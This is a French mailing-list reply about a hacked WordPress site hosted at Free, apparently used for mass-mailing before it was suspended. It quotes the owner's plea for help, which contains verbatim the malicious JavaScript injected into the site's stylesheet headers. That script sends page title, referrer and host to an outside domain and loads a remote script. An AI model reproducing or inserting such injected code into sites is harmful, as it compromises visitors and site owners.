Le 2016-01-29 15:27, Julien Marin via Toulouse-ll a écrit :

> Si c'est cette deuxième hypothèse, les pirates ont du profiter d'une
> faille wordpress (ou d'un code d'accès à l'interface d'administration
> facile à trouver) pour prendre la main sur ton site, y installer un
> module de mass-mailing, et balancer à tout va des pub diverses avant
> que free ne te bloque...

Je pense que c'est plutôt ça. Camille a écrit :

-------------

>> J'avais eu un signe avant coureur. A partir du mois d'octobre, des lignes de 
>> codes ont été insérées à mon insu :
>>
>> <script>var a=''; setTimeout(10); var default_keyword =
>> encodeURIComponent(document.title); var se_referrer =
>> encodeURIComponent(document.referrer); var host =
>> encodeURIComponent(window.location.host); var base =
>> "http://megatest.vn/js/jquery.min.php";; var n_url = base +
>> "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer +
>> "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" +
>> encodeURIComponent(n_url); if (default_keyword !== null &&
>> default_keyword !== '' && se_referrer !== null && se_referrer !==
>> ''){document.write('<script type="text/javascript" src="' + f_url + '">'
>> + '<' + '/script>');}</script>
>>
>> Elles se trouvaient dans l'en-tête des feuilles de style et avaient pour 
>> effet de bloquer une dizaine de secondes chaque page du site qu'on essayait 
>> de charger. Je n'y connais vraiment pas grand chose, mais un sympathisant 
>> m'a prévenu du problème et je les ai effacées. Mais elles revenaient à 
>> chaque fois, une à deux fois par semaine. J'ai pris l'habitude de les 
>> retirer. J'ai modifié le nom d'administrateur et le mot de passe, mais ça 
>> n'a pas réglé le problème. J'ai continué à effacer ces lignes de code, une à 
>> deux fois par semaine.
>> Je voulais changer les autres mots de passe (base de données, et je ne sais 
>> quoi d'autre), et télécharger une version plus récente de wordpress 
>> puisqu'on n'est plus limité à la version 3.1.4 depuis quelques temps, mais 
>> je ne l'ai pas fait par peur de tout planter : j'espérais trouver quelqu'un 
>> pour m'y aider. Free ne m'a pas laissé davantage de temps pour résoudre le 
>> problème et le site est maintenant suspendu. Je ne comprends pas comment 
>> faire pour accéder à la demande de free. J'ai rencontré quelqu'un de 
>> tetraneutral qui m'a suggéré de me tourner vers vous. Pouvez vous m'aider ?

-------------

-- 
Jérôme

_______________________________________________
Toulouse-ll mailing list
Toulouse-ll@toulibre.org
http://toulibre.org/cgi-bin/mailman/listinfo/toulouse-ll

Répondre à